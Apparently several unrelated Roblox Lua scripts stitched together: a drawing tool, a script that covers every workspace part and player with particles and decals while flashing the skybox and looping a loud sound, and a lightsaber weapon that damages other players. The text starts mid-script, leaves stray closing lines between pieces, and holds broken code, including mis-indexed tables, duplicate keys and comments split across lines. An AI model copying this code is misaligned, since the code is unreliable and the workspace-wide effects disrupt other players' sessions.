tool.Selected:connect(onSelect);
screen=with'ScreenGui'{
Parent=guis;
Name=name;
};
frame=with'Frame'{
Parent=screen;
Visible=false;
};
clframe=with'Frame'{
Position=UDim2.new(.5,-50,.5,-50);
Size=UDim2.new(0,100,0,100);
Visible=false;
Parent=screen;
};
selectGui=with'SelectionBox'{
Parent=screen;
};
local c=0;
for y=0,7 do
for x=0,7 do
local color=BrickColor.palette(c).Color;
with'ImageButton'{
Position=UDim2.new(.125*x,0,.125*y);
Size=UDim2.new(.125,0,.125);
BackgroundColor3=color;
Parent=clframe;
}.MouseButton1Up:connect(function()
clframe.Visible=false;
_G.drawColor=color;
end);
c=c+1;
end;
end;
addButton('Color','c',function()
clframe.Visible=true;
end);
addButton('Remove your draws','r',function()
repeat
destroy(_G.mine[1]);
table.remove(_G.mine,1);
Wait(0.01);
until nil;
end);
addButton('Remove global draws','k',function()
destroy(workspace.draw);
while(_G.mine[1])do
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
end);
addButton('Remove selected','x',function()
repeat
if(find(workspace,'draw'))then
local dt=mouse.target;
if(dt and dt:IsDescendantOf(workspace.draw))then
selectGui.Adornee=dt.Parent;
else
selectGui.Adornee=nil;
end;
else
selectGui.Adornee=nil;
end;
Wait(0.01);
until freeKeys.x;
selectGui.Adornee=nil;
end);
repeat
Wait(0.01);
if(next(_G.mine)and _G.mine[_G.drawLimit])then
destroy(_G.mine[1]);
table.remove(_G.mine,1);
end;
until script.Parent==nil or tool.Parent==nil;
script.Disabled=true;
destroy(screen);
end)
end
end
end)
tex1 = "http://www.roblox.com/asset/?id=185495987"
tex2 = "http://www.roblox.com/asset/?id=260858020"
tex3 = "http://www.roblox.com/asset/?id=149213919"
tex4 = "http://www.roblox.com/asset/?id=171905673"
local w = game.Workspace:GetChildren()
for i= 1,#w do
if w[i]:isA("BasePart") then
pe = Instance.new("ParticleEmitter", w[i])
pe.Texture = tex4
pe.VelocitySpread = 5
end
end
local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=171905673"
pe.VelocitySpread = 50
end
texture = "http://www.roblox.com/asset/?id=185495987"
local A = game.Workspace:GetChildren()
local B = game.Workspace:GetChildren()
local C = game.Workspace:GetChildren()
local D = game.Workspace:GetChildren()
local E = game.Workspace:GetChildren()
local F = game.Workspace:GetChildren()
for i,v in pairs(A) do
if v:IsA("Part") then
local d = Instance.new("Decal",v)
v.Decal.Face = "Top"
v.Decal.Texture = texture
v.Anchored = true
end
end
imageOne = "http://www.roblox.com/asset/?id=169585459"
imageTwo = "http://www.roblox.com/asset/?id=169585475"
imageThree = "http://www.roblox.com/asset/?id=169585485"
imageFour = "http://www.roblox.com/asset/?id=169585502"
imageFive = "http://www.roblox.com/asset/?id=169585515"
imageSix = "http://www.roblox.com/asset/?id=169585502"
imageSeven = "http://www.roblox.com/asset/?id=169585485"
imageEight = "http://www.roblox.com/asset/?id=169585475"
Spooky = Instance.new("Sound", workspace)
Spooky.Name = "Spooky"
Spooky.SoundId = "rbxassetid://174270407"
Spooky.Volume = 15
Spooky.Looped = true
Spooky:Play()
while true do
Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne
wait(0.15)
Sky.SkyboxBk = imageTwo
Sky.SkyboxDn = imageTwo
Sky.SkyboxFt = imageTwo
Sky.SkyboxLf = imageTwo
Sky.SkyboxRt = imageTwo
Sky.SkyboxUp = imageTwo
wait(0.15)
Sky.SkyboxBk = imageThree
Sky.SkyboxDn = imageThree
Sky.SkyboxFt = imageThree
Sky.SkyboxLf = imageThree
Sky.SkyboxRt = imageThree
Sky.SkyboxUp = imageThree
wait(0.15)
Sky.SkyboxBk = imageFour
Sky.SkyboxDn = imageFour
Sky.SkyboxFt = imageFour
Sky.SkyboxLf = imageFour
Sky.SkyboxRt = imageFour
Sky.SkyboxUp = imageFour
wait(0.15)
Sky.SkyboxBk = imageFive
Sky.SkyboxDn = imageFive
Sky.SkyboxFt = imageFive
Sky.SkyboxLf = imageFive
Sky.SkyboxRt = imageFive
Sky.SkyboxUp = imageFive
wait(0.15)
Sky.SkyboxBk = imageSix
Sky.SkyboxDn = imageSix
Sky.SkyboxFt = imageSix
Sky.SkyboxLf = imageSix
Sky.SkyboxRt = imageSix
Sky.SkyboxUp = imageSix
wait(0.15)
Sky.SkyboxBk = imageSeven
Sky.SkyboxDn = imageSeven
Sky.SkyboxFt = imageSeven
Sky.SkyboxLf = imageSeven
Sky.SkyboxRt = imageSeven
Sky.SkyboxUp = imageSeven
wait(0.15)
Sky.SkyboxBk = imageEight
Sky.SkyboxDn = imageEight
Sky.SkyboxFt = imageEight
Sky.SkyboxLf = imageEight
Sky.SkyboxRt = imageEight
Sky.SkyboxUp = imageEight
wait(0.15)
end
end
end)
bets =
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u
","v","w","x","y","z"," "}
inew = Instance.new
it = Instance.new
bc = BrickColor.new
vn = Vector3.new
cn = CFrame.new
ca = CFrame.Angles
mpi = math.pi
v3 = vn
mr = math.rad
br = BrickColor.new
cf = CFrame.new
ca = CFrame.Angles
Colors = {"Really Red"}
BladeColor = tostring(BrickColor.Random()) --Colors[math.random(1,#Colors)]
TrailColor = BladeColor
HopperName = "light saber"
Rage = 100000
MaxRage = Rage
SwordType = "Single"
LeftDebounce = {}
RightDebounce = {}
OtherDebounce = {}
Anim = {key = {}}
for i=1,#bets do table.insert(Anim.key,bets) end
Anim.Move = "None"
Anim.Click = false
Anim.Button = false
Anim.CanBerserk = 0
Anim.ComboBreak = false
Anim.Equipped = false
keydown = false
Speed = 2
RageIncome = 500
Left = false
Right = false
Anim.Act = false
RealSpeed = 35
DebounceSpeed = 0.85/Speed
RageCost = {
["Berserk"] = 200;
["RotorBlade"] = 30;
["Blocking"] = 0.1;
["Boomerang"] = 30;
["RageRegening"] = -0.7;
["BoulderForce"] = 45;
["ForceWave"] = 65;
["ForceWave"] = 32;
["Teleport"] = 25;
["DualSpin"] = 4;
}
MagnitudeHit = {
["ForceWave"] = 500;
}
Damage = {
["RotorBlade"] = 8;
["BoulderForce"] = 100;
["Boomerang"] = 100;
["ForceWave"] = 100;
["DualSpin"] = 5;
}
Props = {}
Props.MaxTeleDistance = 500
Props.Buff = 1
BlastMesh = Instance.new("FileMesh")
BlastMesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
function r(zParent,zName)
if zParent:findFirstChild(zName) ~= nil then
zParent[zName]:Remove()
else
end
end
function rclass(zParent,zClass)
local ch = zParent:GetChildren()
for i=1,#ch do
if (ch.className == zClass) then
ch:Remove()
else
end
end
end
function fWeld(zName,zParent,zPart0,zPart1,zCoco,a,b,c,d,e,f)
local funcw = Instance.new("Weld")
funcw.Name = zName
funcw.Parent = zParent
funcw.Part0 = zPart0
funcw.Part1 = zPart1
if (zCoco == true) then
funcw.C0 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
else
funcw.C1 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
end
return funcw
end
function Dash(ob,se,mes,of)
local off = nil
if of == nil then off = 0 else off = of end
pcall(function()
coroutine.resume(coroutine.create(function()
local dashin = true
local oldpos = (ob.CFrame *CFrame.new(0,off,0)).p
coroutine.resume(coroutine.create(function()
wait(se) dashin = false end))
for i=1,9999 do
if dashin == false then break end
local newpos = (ob.CFrame *CFrame.new(0,off,0)).p --+ Vector3.new(math.random(-
2,2),math.random(-2,2),math.random(-2,2))
local np = Instance.new("Part")
np.BrickColor = BrickColor.new(TrailColor) np.CanCollide = false
np.BottomSurface = 0 np.TopSurface = 0 np.Anchored = true np.Transparency = 0.4
np.formFactor = "Custom" np.Parent = ob local mag = math.abs((newpos -
oldpos).magnitude)
local mp = nil
if mes ~= nil then
np.Size = Vector3.new(2,mag,2) mp = Instance.new("FileMesh",np) mp.MeshId = mes
else
np.Size = Vector3.new(0.4,0.4,mag) mp = Instance.new("BlockMesh",np) end
np.CFrame = CFrame.new(newpos,oldpos)
np.CFrame = np.CFrame + np.CFrame.lookVector* (mag/2)
if mes == BlastMesh.MeshId then np.CFrame = np.CFrame *ca(mr(-90),0,0) else
np.CFrame = np.CFrame *ca(0,0,mr(-45)) end
oldpos = newpos
coroutine.resume(coroutine.create(function()
for i=1,0,-0.1 do
np.Transparency = np.Transparency + 0.03
--if mes ~= nil then
--mp.Scale = Vector3.new(i,mag,i) else
mp.Scale = Vector3.new(i,i,1) -- end
wait()
end
np:Remove()
end))
wait(0.08)
end
end))
end)
end
Sounds = {
Boom = "http://www.roblox.com/asset/?id=16976189";
SniperFire = "http://www.roblox.com/asset/?id=1369158";
ShotgunFire2 = "http://www.roblox.com/asset/?id=1868836";
MinigunFire = "http://www.roblox.com/asset/?id=2692806";
MinigunCharge = "http://www.roblox.com/asset/?id=2692844";
MinigunDischarge = "http://www.roblox.com/asset/?id=1753007";
Flashbang = "http://www.roblox.com/asset/?id=16976189";
Beep = "http://www.roblox.com/asset/?id=15666462";
Smash = "http://www.roblox.com/asset/?id=2801263";
Punch = "http://www.roblox.com/asset/?id=31173820";
Slash = "rbxasset://sounds/swordslash.wav";
Falcon = "http://www.roblox.com/asset/?id=1387390";
Cast = "http://www.roblox.com/asset/?id=2101137";
Spin = "http://www.roblox.com/asset/?id=1369159";
Abscond = "http://www.roblox.com/asset/?id=2767090";
ElectricalCharge = "http://www.roblox.com/asset/?id=2800815";
FireExplosion = "http://www.roblox.com/asset/?id=3264793";
SaberLightUp = "http://www.roblox.com/asset/?id=10209303";
SaberSlash = "http://www.roblox.com/asset/?id=10209280";
SaberHit = "http://www.roblox.com/asset/?id=44463749";
EnergyBlast = "http://www.roblox.com/asset/?id=10209268";
}
function Sound(sid,pit,vol)
local ss = Instance.new("Sound")
ss.Name = "Sound"
ss.Parent = Head
ss.SoundId = sid
ss.Pitch = pit
ss.Volume = vol
ss.PlayOnRemove = true
wait()
ss:Remove()
end
r(Char,"SwordPack")
r(Char,"Suit")
r(Char,"Saber" ..Player.Name)
r(Pg,"Sabers")
Suit = inew("Model")
Suit.Name = "Suit"
Suit.Parent = Char
function p(pa,sh,x,y,z,c,a,tr,re,bc)
local fp = it("Part",pa)
fp.formFactor = "Custom"
fp.Shape = sh
fp.Size = v3(x,y,z)
fp.CanCollide = c
fp.Anchored = a
fp.BrickColor = br(bc)
fp.Transparency = tr
fp.Reflectance = re
fp.BottomSurface = 0
fp.TopSurface = 0
fp.CFrame = Torso.CFrame
fp:BreakJoints()
return fp
end
function weld(pa,p0,p1,x,y,z,a,b,c)
local fw = it("Weld",pa)
fw.Part0 = p0
fw.Part1 = p1
fw.C0 = cf(x,y,z) *ca(a,b,c)
return fw
end
function ft(tab,nam)
if tab == nil or nam == nil then print("U: Fail table") return false end
for i=1,#tab do
if tab == nam then
return i
else
end
end
return nil
end
function spm(ty,pa,ssx,ssy,ssz)
local sp = it("SpecialMesh",pa)
sp.MeshType = ty
sp.Scale = Vector3.new(ssx,ssy,ssz)
return sp
end
Torso.Transparency = 1
Torm = Instance.new("Model",Char)
Torm.Name = "Saber" ..Player.Name
Tor = p(Torm,"Block",1.98,1.98,1,false,false,0,0,"basda") Tor.Name = "Torso"
Torw = weld(Tor,Torso,Tor,0,0,0,0,0,0)
pcall(function() Char.Shirt:Clone().Parent = Torm end)
pcall(function() Char.Pants:Clone().Parent = Torm end)
function ShockWave(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
e1.CFrame = e1.CFrame *CFrame.Angles(math.rad(-90),0,0)
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "FileMesh"
e1m.Scale = Vector3.new(3,3,3)
e1m.Parent = e1
e1m.MeshId = RingMesh.MeshId
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(90),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/4,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
end))
end
function Explode(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "Sphere"
e1m.Parent = e1
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(180),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = RingMesh.MeshId
local r2 = Instance.new("Part")
r2.Anchored = true
r2.formFactor = "Custom"
r2.CanCollide = false
r2.Size = Vector3.new(1,1,1)
r2.BrickColor = BrickColor.new(col)
r2.Transparency = 0.6
r2.TopSurface = 0
r2.BottomSurface = 0
r2.Parent = Torm
r2.CFrame = e1.CFrame *CFrame.Angles(0,math.rad(180),0)
local r2m = Instance.new("SpecialMesh")
r2m.MeshType = "FileMesh"
r2m.Parent = r2
r2m.Scale = Vector3.new(3,3,3)
r2m.MeshId = RingMesh.MeshId
local bla = Instance.new("Part")
bla.Anchored = true
bla.formFactor = "Custom"
bla.CanCollide = false
bla.Size = Vector3.new(1,1,1)
bla.BrickColor = BrickColor.new(col)
bla.Transparency = 0.6
bla.TopSurface = 0
bla.BottomSurface = 0
bla.Parent = Torm
bla.CFrame = CFrame.new(e1.Position.x,e1.Position.y,e1.Position.z)
local blam = Instance.new("SpecialMesh")
blam.MeshType = "FileMesh"
blam.Parent = bla
blam.Scale = Vector3.new(5,5,5)
blam.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale + Vector3.new(pluscal,pluscal/2,pluscal)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
bla.Transparency = bla.Transparency + 0.1
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
r2.Transparency = r2.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
r2:Remove()
end))
end
H1 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey")
spm("Head",H1,1,1.3,1)
H1w = weld(Tor,Torso,H1,0.4,-0.7,0.5,0,0,mr(45))
H2 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey")
spm("Head",H2,1,1.3,1)
H2w = weld(Tor,H1,H2,0,-0.8,0,mr(180),0,0)
Des1 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black")
Instance.new("CylinderMesh",Des1)
Des1w = weld(Tor,H1,Des1,0,0.5,0,0,0,0)
Des2 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black")
Instance.new("CylinderMesh",Des2)
Des2w = weld(Tor,H2,Des2,0,0.5,0,0,0,0)
Des21 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des21m =
Instance.new("CylinderMesh",Des21) Des21m.Scale = Vector3.new(1,0.6,1)
Des21w = weld(Tor,H1,Des21,0,-0.55,0,0,0,0)
Des22 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des22m =
Instance.new("CylinderMesh",Des22) Des22m.Scale = Vector3.new(1,0.6,1)
Des22w = weld(Tor,H2,Des22,0,-0.55,0,0,0,0)
Blad1 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M1 =
spm("Head",Blad1,1,1,1)
Blad1w = weld(Tor,H1,Blad1,0,1.9,0,0,0,0)
Blad2 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M2 =
spm("Head",Blad2,1,1,1)
Blad2w = weld(Tor,H2,Blad2,0,1.9,0,0,0,0)
Glow1 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM1 =
spm("Head",Glow1,1,1,1)
Glow1w = weld(Tor,H1,Glow1,0,1.9,0,0,0,0)
Glow2 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM2 =
spm("Head",Glow2,1,1,1)
Glow2w = weld(Tor,H2,Glow2,0,1.9,0,0,0,0)
r(Bp,HopperName)
bin = inew("HopperBin")
bin.Name = HopperName
bin.Parent = Bp
Gui = Instance.new("ScreenGui",Pg)
Gui.Name = "Sabers"
Frame = Instance.new("Frame",Gui)
Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0)
ImageGui = Instance.new("ImageLabel",Frame)
ImageGui.Image = "http://www.roblox.com/asset/?id=51262246"
ImageGui.BackgroundTransparency = 1
ImageGui.Size = UDim2.new(0.3,0,0.075,0)
HealthBar = Instance.new("ImageLabel",Frame)
HealthBar.Image = "http://www.roblox.com/asset/?id=48965808"
HealthBar.BorderSizePixel = 0
HealthBar.Size = UDim2.new(0.23,0,0.017,0)
HealthBar.Position = UDim2.new(0.06,0,0.017,0)
RageBar = Instance.new("ImageLabel",Frame)
RageBar.Image = "http://www.roblox.com/asset/?id=48965808"
RageBar.BorderSizePixel = 0
RageBar.Size = UDim2.new(0.165,0,0.012,0)
RageBar.Position = UDim2.new(0.06,0,0.04,0)
RageBar.BackgroundColor3 = BrickColor.new("Alder").Color
SelectBar = Instance.new("ImageButton",Frame)
SelectBar.Image = "http://www.roblox.com/asset/?id=48965808"
SelectBar.BorderSizePixel = 0
SelectBar.Size = UDim2.new(0.1,0,0.07,0)
SelectBar.Position = UDim2.new(0.8,0,0.6,0)
SelectBar.BackgroundColor3 = BrickColor.new(BladeColor).Color
SelectrBar = Instance.new("TextLabel",SelectBar)
SelectrBar.BackgroundTransparency = 1
SelectrBar.BorderSizePixel = 0
SelectrBar.Size = UDim2.new(0,0,0,0)
SelectrBar.Position = UDim2.new(0.5,0,0.5,0)
SelectrBar.Font = "ArialBold"
SelectrBar.FontSize = "Size18"
SelectBar.MouseButton1Up:connect(function()
if Anim.Move ~= "None" then return end
if Anim.Act == true then return end
if Anim.Equipped == false then return end
if SwordType == "Single" then
Anim.Move = "Changing"
Anims.ChangeToDual(0,1,0.065*Speed) SwordType = "Dual"
Anim.Move = "None"
else
Anim.Move = "Changing"
Anims.ChangeToSingle(0,1,0.065*Speed) SwordType = "Single"
Anim.Move = "None"
end
end)
coroutine.resume(coroutine.create(function()
while true do
wait(0.05)
local hh = Hum.Health local hmh = Hum.MaxHealth
HealthBar.Size = UDim2.new((hh/hmh)*0.23,0,0.017,0)
if ((hh/hmh)*100) > 75 then
HealthBar.BackgroundColor3 = BrickColor.new("Alder").Color
elseif ((hh/hmh)*100) > 25 and ((hh/hmh)*100) < 76 then
HealthBar.BackgroundColor3 = BrickColor.new("Deep orange").Color
elseif ((hh/hmh)*100) < 26 then
HealthBar.BackgroundColor3 = BrickColor.new("Bright red").Color
end
RageBar.Size = UDim2.new((Rage/MaxRage)*0.165,0,0.012,0)
SelectrBar.Text = SwordType
end
end))
-------
function TellXPos(brick1,posd)
local lb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
lb.CFrame = CFrame.new((brick1.CFrame *cf(-10,0,0)).p)
local rb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
rb.CFrame = CFrame.new((brick1.CFrame *cf(10,0,0)).p)
local posml = math.abs((posd - rb.Position).magnitude)
local posmr = math.abs((posd - lb.Position).magnitude)
if posml > posmr then
return "left"
else
return "right"
end
end
function GetNearPlayer(urpos,maxmag)
if maxmag == nil then return nil end
for i,v in pairs(game.Players:GetChildren()) do
if v.Character ~= Char and v.Character ~= nil and
v.Character:findFirstChild("Torso") ~= nil and
math.abs((v.Character.Torso.Position-urpos).magnitude) < maxmag then
return v.Character.Torso
end
end
return nil
end
function Dmgz(hum,dmg)
dmg = dmg*Props.Buff
hum.Health = hum.Health - dmg
Rage = Rage + ((dmg/1.25)*RageIncome)
if Rage > MaxRage then Rage = MaxRage end
end
coroutine.resume(coroutine.create(function()
while true do
wait()
if Right == true and Anim.Move == "ForceWave" then
for i,v in pairs(workspace:GetChildren()) do
coroutine.resume(coroutine.create(function()
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and
math.abs((v.Torso.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move]
then
local hit = v.Torso
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and
ft(RightDebounce,hit.Parent.Name) == nil then
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then
table.remove(RightDebounce,nf) end
end
else
if v:IsA("BasePart") and v.Anchored == false and math.abs((v.Position-
Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then v:BreakJoints()
v.Velocity = cf(Blad2.Position,v.Position).lookVector*30 + Vector3.new(0,20,0) end
end
end))
end -- for
end
end
end))
Blad1.Touched:connect(function(hit)
if Left == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and
ft(LeftDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(LeftDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(LeftDebounce,hit.Parent.Name) if nf ~= nil then
table.remove(LeftDebounce,nf) end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char)
and hit.Anchored == false then hit:BreakJoints() hit.Velocity =
cf(Blad1.Position,hit.Position).lookVector*30 end
end
end
end)
Blad2.Touched:connect(function(hit)
if Right == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and
ft(RightDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf = ft(RightDebounce,hit.Parent.Name) if nf ~= nil then
table.remove(RightDebounce,nf) end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not hit:IsDescendantOf(Char)
and hit.Anchored == false then hit:BreakJoints() hit.Velocity =
cf(Blad2.Position,hit.Position).lookVector*30 end
end
end
end)
LW = inew("Weld")
RW = inew("Weld")
Fla = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fra = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Flaw = fWeld("Weld",Fla,Tor,Fla,true,-1.5,0.5,0,0,0,0)
Fraw = fWeld("Weld",Fla,Tor,Fra,true,1.5,0.5,0,0,0,0)
Flaw.C1 = CFrame.new(0,0.5,0)
Fraw.C1 = CFrame.new(0,0.5,0)
Fll = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Frl = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fllw = fWeld("Weld",Fll,Torso,Fll,true,0,0,0,0,0,0)
Frlw = fWeld("Weld",Fll,Torso,Frl,true,0,0,0,0,0,0)
function FeetWeld(yesorno,lhh,rhh)
if yesorno == false then
lhh.Parent = nil
rhh.Parent = nil
Lh.Parent = Torso
Rh.Parent = Torso
Lh.Part0 = Tor
Rh.Part0 = Tor
Lh.Part1 = Char["Left Leg"]
Rh.Part1 = Char["Right Leg"]
return Lh,Rh
else
Rh.Parent = nil
Lh.Parent = nil
local hl,hr = it("Weld",Torso),it("Weld",Torso)
hl.Part0 = Fll
hr.Part0 = Frl
hl.Part1 = Char["Left Leg"]
hr.Part1 = Char["Right Leg"]
hr.C1 = cf(-0.5,1.75,0)
